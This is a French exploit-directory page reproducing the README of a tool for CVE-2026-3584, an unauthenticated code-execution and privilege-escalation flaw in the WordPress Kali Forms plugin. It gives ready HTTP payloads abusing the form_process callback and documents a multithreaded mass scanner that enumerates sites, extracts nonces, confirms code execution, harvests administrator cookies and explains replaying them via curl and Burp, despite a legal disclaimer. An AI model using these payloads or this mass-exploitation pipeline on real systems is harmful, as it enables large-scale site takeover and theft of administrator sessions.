Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
Outils/GitHubGitHub/yucaerin/cve-2026-3584
Privilege EscalationReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingPayload Development
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

Voir le dépôt
3il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - Exécution de Code à Distance Non Authentifiée via form_process

🔥 Résumé de la vulnérabilité

Le plugin WordPress Kali Forms versions <= 2.4.9 présente une vulnérabilité critique d'exécution de code à distance non authentifiée (RCE). Cette faille permet aux attaquants non authentifiés d'exécuter du code PHP arbitraire sur le serveur et d'obtenir des privilèges d'administrateur complet via l'endpoint AJAX kaliforms_form_process exposé publiquement sans contrôles d'autorisation.

La vulnérabilité réside dans la fonction form_process qui accepte des paramètres contrôlés par l'utilisateur (y compris thisPermalink et entryCounter) et exécute des callbacks PHP arbitraires, conduisant à :

  • Remote Code Execution (RCE) via phpinfo(), system(), eval(), etc.
  • Escalade de Privilèges via wp_set_auth_cookie() pour obtenir des sessions administratives

🔍 Plugin Vulnérable

  • Nom du plugin : Kali Forms – WordPress Form Builder
  • Version vulnérable : <= 2.4.9
  • Type de vulnérabilité : Exécution de Code à Distance Non Authentifiée + Escalade de Privilèges
  • CVE ID : CVE-2026-3584
  • Score CVSS : 10.0 (Critique)
  • Impact : Compromission totale du site, accès administrateur, persistance
  • Lien : https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 Fonctionnement de la Vulnérabilité

Analyse technique du bug

La vulnérabilité se manifeste dans la fonction form_process du plugin Kali Forms qui gère les requêtes AJAX. Le code vulnérable est exposé via :

root@kitploit:~
// Endpoint AJAX accessible sans authentification
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

Flux de l'Exploit :

  1. Endpoint non protégé : L'endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process est accessible aux utilisateurs non authentifiés via le hook wp_ajax_nopriv_.

  2. Paramètres contrôlables par l'utilisateur :

    • data[thisPermalink] - peut contenir un nom de fonction PHP arbitraire
    • data[entryCounter] - peut contenir un nom de fonction PHP arbitraire
    • data[formId] - ID du formulaire à traiter
  3. Exécution de callbacks non filtrés : Le code vulnérable exécute des callbacks PHP sans validation :

    root@kitploit:~
    $callback = $_POST['data']['thisPermalink'];
    call_user_func($callback);  // Aucun contrôle !
    
  4. Chaîne d'exploitation :

    root@kitploit:~
    Attaquant → Requête POST → kaliforms_form_process
         ↓
    thisPermalink=phpinfo → call_user_func('phpinfo')
         ↓
    Exécution de code PHP → phpinfo() exécuté
         ↓
    entryCounter=wp_set_auth_cookie → Cookie administrateur généré
         ↓
    Accès administrateur complet
    

Exemple de requête vulnérable :

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

Résultat : Le serveur exécute phpinfo() et retourne des informations complètes sur la configuration PHP.

Pour l'escalade de privilèges :

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

Résultat : WordPress exécute wp_set_auth_cookie(user_id) où user_id correspond souvent à formId, générant des cookies de session administrateur valides.


🛡️ Mass Scanner - Fonctionnement

Architecture du Scanner

Le mass_scanner.py implémente un pipeline automatisé en 4 phases pour l'exploitation complète de la vulnérabilité CVE-2026-3584 :

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                                     │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│  Phase 1 : Reconnaissance API REST                                          │
│  ├─ Enumère les utilisateurs : /wp-json/wp/v2/users                         │
│  └─ Enumère les articles : /wp-json/wp/v2/posts                             │
│      → Identifie user_id et post_id pour escalade                           │
│                                                                              │
│  Phase 2 : Découverte des formulaires                                       │
│  ├─ Crawl du site (depth=2)                                                  │
│  ├─ Cherche les patterns : 'KaliFormsObject', 'kaliforms'                   │
│  ├─ Extrait le nonce du JavaScript                                          │
│  └─ Extrait le formId du HTML                                               │
│      → Trouve tous les formulaires Kali Forms vulnérables                   │
│                                                                              │
│  Phase 3 : Test RCE                                                          │
│  ├─ Envoie : data[thisPermalink]=phpinfo                                    │
│  ├─ Vérifie : 'PHP Version' dans la réponse                                 │
│  └─ Sauvegarde : result/target_phpinfo.html                                 │
│      → Confirme l'exécution de code à distance                              │
│                                                                              │
│  Phase 4 : Escalade de privilèges                                           │
│  ├─ Envoie : data[entryCounter]=wp_set_auth_cookie                          │
│  ├─ Extrait : cookies wordpress_logged_in + wordpress_sec                   │
│  ├─ Vérifie : Accès à /wp-admin/ sans redirection                           │
│  └─ Sauvegarde : result_cookie/target.txt                                   │
│      → Obtient un accès administrateur complet                              │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

Détails techniques de l'implémentation

1. Normalisation automatique des URLs

root@kitploit:~
def normalize_url(self, target):
    # Ajoute automatiquement http:// ou https://
    # Essaie d'abord HTTPS, puis fallback sur HTTP
    # Gère les ports personnalisés (ex. :8080)

2. Énumération de l'API REST

root@kitploit:~
def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # Extrait tous les user_id disponibles
    # Utilisé pour mapper formId → user_id
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # Extrait tous les post_id disponibles
    # Identifie les chevauchements user_id/post_id

3. Découverte des formulaires (Crawling intelligent)

root@kitploit:~
def discover_pages(self, target, max_depth=2):
    # Crawl récursif du site
    # Cherche les patterns JavaScript : 'KaliFormsObject'
    # Filtre les URLs non nécessaires (js, css, images)
    # Suit uniquement les liens internes
    # Retourne la liste des pages avec Kali Forms

4. Extraction des données du formulaire

root@kitploit:~
def extract_form_data(self, page_url):
    # Extrait le nonce du JavaScript :
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # Extrait le formId du HTML :
    #   data-id="1" ou [kaliform id="1"]
    # Si nonce trouvé mais pas de formId :
    #   Brute force ID 1-10

5. Test RCE

root@kitploit:~
def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # Payload : data[thisPermalink]=phpinfo
    # Vérifie : len(response) > 10000 et 'PHP Version' présent
    # Sauvegarde le HTML complet pour analyse

6. Test d'escalade de privilèges

root@kitploit:~
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
    # Stratégie intelligente :
    # 1. Cherche les chevauchements user_id/post_id
    # 2. Teste d'abord les IDs à forte probabilité de succès
    # 3. Fallback sur IDs communs : 1,2,3,4,5
    
    # Pour chaque formId candidat :
    # POST data[entryCounter]=wp_set_auth_cookie
    # Extrait les cookies : wordpress_logged_in + wordpress_sec
    # Vérifie : GET /wp-admin/ → pas de redirection
    # Contrôle : 'dashboard' dans la réponse

7. Multi-threading

root@kitploit:~
# ThreadPoolExecutor pour traitement parallèle
# Locks thread-safe pour écriture des résultats
# Sauvegarde en temps réel (mode append)
# Statistiques globales avec sync

8. Système de sauvegarde automatique

root@kitploit:~
def backup_previous_results(self):
    # Avant chaque scan :
    # result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
    # result/ → result.20260325_120000.backup/
    # result_cookie/ → result_cookie.20260325_120000.backup/
    # Préserve toutes les données historiques

🚀 Utilisation du Mass Scanner

Prérequis

root@kitploit:~
pip3 install requests beautifulsoup4

Préparation du fichier de cibles

Créez un fichier targets.txt avec une cible par ligne (http/https optionnel) :

root@kitploit:~
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080

Exécution de base

root@kitploit:~
# Scan avec paramètres par défaut (20 threads)
python3 mass_scanner.py targets.txt

# Scan avec threads personnalisés
python3 mass_scanner.py -t 10 targets.txt

# Scan avec nombre maximum de threads
python3 mass_scanner.py --threads 50 targets.txt

Affichage pendant le scan

root@kitploit:~
======================================================================
SCANNER DE MASSE - CVE-2026-3584 Pipeline Complète
======================================================================
Cibles : 100
Threads : 20
Pipeline : Reconnaissance → Découverte Formulaires → RCE → Escalade Privilèges
======================================================================

[*] Résultats précédents sauvegardés dans : result_phpinfo.txt.20260325_120000.backup

[04:38:28] [INFO] https://target1.com: Lancement du scan...
[04:38:28] [INFO] https://target1.com: Phase 1 : Énumération API REST...
[04:38:29] [INFO] https://target1.com: 3 utilisateurs trouvés via API
[04:38:29] [INFO] https://target1.com: 5 articles trouvés via API
[04:38:29] [INFO] https://target1.com: Phase 2 : Découverte des formulaires...
[04:38:31] [INFO] https://target1.com: 8 pages trouvées avec des formulaires
[04:38:31] [INFO] https://target1.com: Phase 3 : Test RCE...
[04:38:31] [INFO] https://target1.com: Test formulaire(s) [1, 2, 3] avec nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCÈS sur le formulaire 1 !
[04:38:32] [INFO] https://target1.com: phpinfo sauvegardé dans result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Phase 4 : Test d'escalade de privilèges...
[04:38:33] [CRITICAL] https://target1.com: ESCALADE DE PRIVILÈGES RÉUSSIE avec formId=1 !
[04:38:33] [INFO] https://target1.com: Cookie sauvegardé dans result_cookie/target1.com.txt

[04:38:35] [INFO] https://target2.com: Lancement du scan...
[04:38:36] [INFO] https://target2.com: Phase 1 : Énumération API REST...
[04:38:37] [WARN] https://target2.com: Aucun Kali Forms trouvé
...

======================================================================
STATISTIQUES DU SCAN
======================================================================
Cibles totales :      100
Scannées :            100
Vulnérables :         45
  - RCE uniquement :  10
  - Escalade Priv (CVSS10) : 35
Échecs :              55
======================================================================

Résultats sauvegardés :
  - result_phpinfo.txt        (RCE réussi)
  - result_yes_all.txt (RCE + Escalade de Privilèges)
  - result/*.html             (Sortie phpinfo)
  - result_cookie/*.txt       (Requêtes HTTP avec cookies administrateurs)
======================================================================

Interprétation des niveaux de log

  • [INFO] - Informations générales sur l'avancement du scan
  • [SUCCESS] - RCE confirmé, code exécuté avec succès
  • [CRITICAL] - Escalade de privilèges réussie, accès administrateur obtenu
  • [WARN] - Cible non vulnérable ou formulaires non trouvés
  • [ERROR] - Erreur pendant le scan (timeout, connexion, etc.)

Structure des résultats

root@kitploit:~
/root/
├── result_phpinfo.txt                 # Liste des cibles avec RCE confirmé
├── result_yes_all.txt          # Liste des cibles avec accès admin complet
├── result/                            # Fichiers HTML phpinfo détaillés
│   ├── target1.com_form1_phpinfo.html
│   ├── target2.org_form2_phpinfo.html
│   └── ...
└── result_cookie/                     # Requêtes HTTP avec cookies administrateurs
    ├── target1.com.txt
    ├── target2.org.txt
    └── ...

Format result_phpinfo.txt

root@kitploit:~
https://target1.com | Formulaire : https://target1.com/contact | ID Formulaire : 1 | Nonce : 46aedbd358 | Fichier : result/target1.com_form1_phpinfo.html
https://target2.org | Formulaire : https://target2.org/form | ID Formulaire : 2 | Nonce : abc123def4 | Fichier : result/target2.org_form2_phpinfo.html

Format result_yes_all.txt

root@kitploit:~
======================================================================
CIBLE : https://target1.com
TIMESTAMP : 2026-03-25T04:38:33.123456
======================================================================
RCE : SUCCÈS
  URL Formulaire : https://target1.com/contact
  ID Formulaire : 1
  Nonce : 46aedbd358
  phpinfo : result/target1.com_form1_phpinfo.html

ESCALADE DE PRIVILÈGES : SUCCÈS (CVSS 10.0)
  Exploit formId : 1
  Cookie : wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
  Fichier Cookie : result_cookie/target1.com.txt
  Impact : Accès administrateur complet

COMMANDES D'EXPLOITATION :
  Test RCE :
    python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358

  Escalade de Privilèges :
    python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358

======================================================================

Format result_cookie/target.txt

root@kitploit:~
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

Ce format est prêt à être copié-collé directement dans Burp Suite Repeater ou utilisé avec curl.

Utilisation des cookies administrateurs

Méthode 1 : Test avec curl

root@kitploit:~
# Extraire le cookie du fichier
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')

# Tester l'accès administrateur
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard

# Si la sortie contient "Dashboard" → Cookie fonctionnel !

Méthode 2 : Utilisation dans Burp Suite

root@kitploit:~
# Étape 1 : Générer la configuration automatique (optionnel)
./burp_config_gen.sh result_cookie/target.com.txt

# Étape 2 : Burp Suite → Proxy → Options → Match and Replace → Add

# Étape 3 : Configuration :
Type:    Request header
Match:   ^Cookie:.*$
Replace: Cookie: [COLLER_COOKIE_DU_FICHIER]
☑ Regex match

# Étape 4 : Activer la règle (checkbox)

# Étape 5 : Naviguer vers https://target.com/wp-admin/

# Résultat : Accès administrateur immédiat

Monitoring en temps réel

Pendant le scan, il est possible de surveiller les résultats en temps réel :

root@kitploit:~
# Terminal 1 : Lancer le scanner
python3 mass_scanner.py targets.txt

# Terminal 2 : Surveiller les résultats RCE
watch -n 2 'tail -20 result_phpinfo.txt'

# Terminal 3 : Surveiller l'escalade de privilèges
watch -n 2 'tail -20 result_yes_all.txt'

# Terminal 4 : Compter les cibles vulnérables
watch -n 5 'echo "RCE : $(wc -l < result_phpinfo.txt) | Admin : $(grep -c "ESCALADE DE PRIVILÈGES : SUCCÈS" result_yes_all.txt)"'

Sauvegarde automatique

Avant chaque nouveau scan, le scanner sauvegarde automatiquement les résultats précédents :

root@kitploit:~
Scan 1 : [12:00]
  result_phpinfo.txt
  result_yes_all.txt
  result/
  result_cookie/

Scan 2 : [13:00] - Sauvegarde automatique !
  [*] Résultats précédents sauvegardés dans : result_phpinfo.txt.20260325_120000.backup
  [*] Résultats précédents sauvegardés dans : result_yes_all.txt.20260325_120000.backup
  [*] Fichiers phpinfo précédents sauvegardés dans : result.20260325_120000.backup/
  [*] Fichiers cookie précédents sauvegardés dans : result_cookie.20260325_120000.backup/

Toutes les données précédentes sont préservées avec un timestamp !

Optimisation des performances

Nombre de threads recommandé :

root@kitploit:~
# Réseau rapide, beaucoup de cibles
python3 mass_scanner.py -t 50 targets.txt

# Réseau moyen, cibles modérées
python3 mass_scanner.py -t 20 targets.txt  # (par défaut)

# Réseau lent ou peu de cibles
python3 mass_scanner.py -t 10 targets.txt

# Test unique (debug)
python3 mass_scanner.py -t 1 targets.txt

Performances attendues :

  • 20 threads : ~500-1000 cibles/heure (selon le réseau)
  • 50 threads : ~1000-2000 cibles/heure (risque de timeout accru)
  • 10 threads : ~300-500 cibles/heure (plus stable)

Résolution des problèmes courants

Problème : Aucune cible vulnérable trouvée

root@kitploit:~
# Vérification manuelle que le site a Kali Forms
curl -s https://target.com | grep -i "kaliforms"

# Si trouvé, extraire le nonce manuellement
curl -s https://target.com | grep -i "KaliFormsObject"

Problème : Timeouts fréquents

root@kitploit:~
# Réduire le nombre de threads
python3 mass_scanner.py -t 5 targets.txt

# Ou augmenter le timeout en modifiant le code (timeout=10 → timeout=30)

Problème : Le cookie ne fonctionne pas

root@kitploit:~
# Vérifier la validité du cookie
python3 test_burp_persistent.sh http://target.com

# Si échec, regénérer le cookie avec :
python3 get_fresh_admin_cookie.py http://target.com [NONCE]

🔒 Avertissement légal

⚠️ IMPORTANT :

Ces informations et outils sont fournis exclusivement à des fins éducatives et de tests de sécurité autorisés.

  • ✅ Utilisation légale : Test de pénétration autorisé, recherche en sécurité, formation
  • ❌ Utilisation illégale : Accès non autorisé aux systèmes, compromission de sites sans permission

L'accès ou l'utilisation non autorisée de systèmes informatiques est illégale et contraire à l'éthique.

Les auteurs et contributeurs de ce référentiel ne sont pas responsables de toute utilisation abusive ou des dommages causés par ces outils. Les utilisateurs sont responsables de s'assurer qu'ils ont l'autorisation appropriée avant de tester tout système.

Utiliser de manière responsable et uniquement avec une autorisation écrite explicite.


📚 Références

CVE et Advisory :

  • CVE-2026-3584 : Kali Forms RCE et Escalade de Privilèges
  • Lien : https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process
  • Score CVSS : 10.0 (Critique)
  • CWE-94 : Contrôle inapproprié de la génération de code ('Injection de code')
  • CWE-862 : Autorisation manquante

Plugin vulnérable :

  • Nom : Kali Forms – WordPress Form Builder
  • Slug : kaliforms
  • Référentiel : https://wordpress.org/plugins/kaliforms/
  • Versions vulnérables : <= 2.4.9

CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical

Recherche en Sécurité | Exploitation Responsable | Éducation à la Cybersécurité

Télécharger l’outil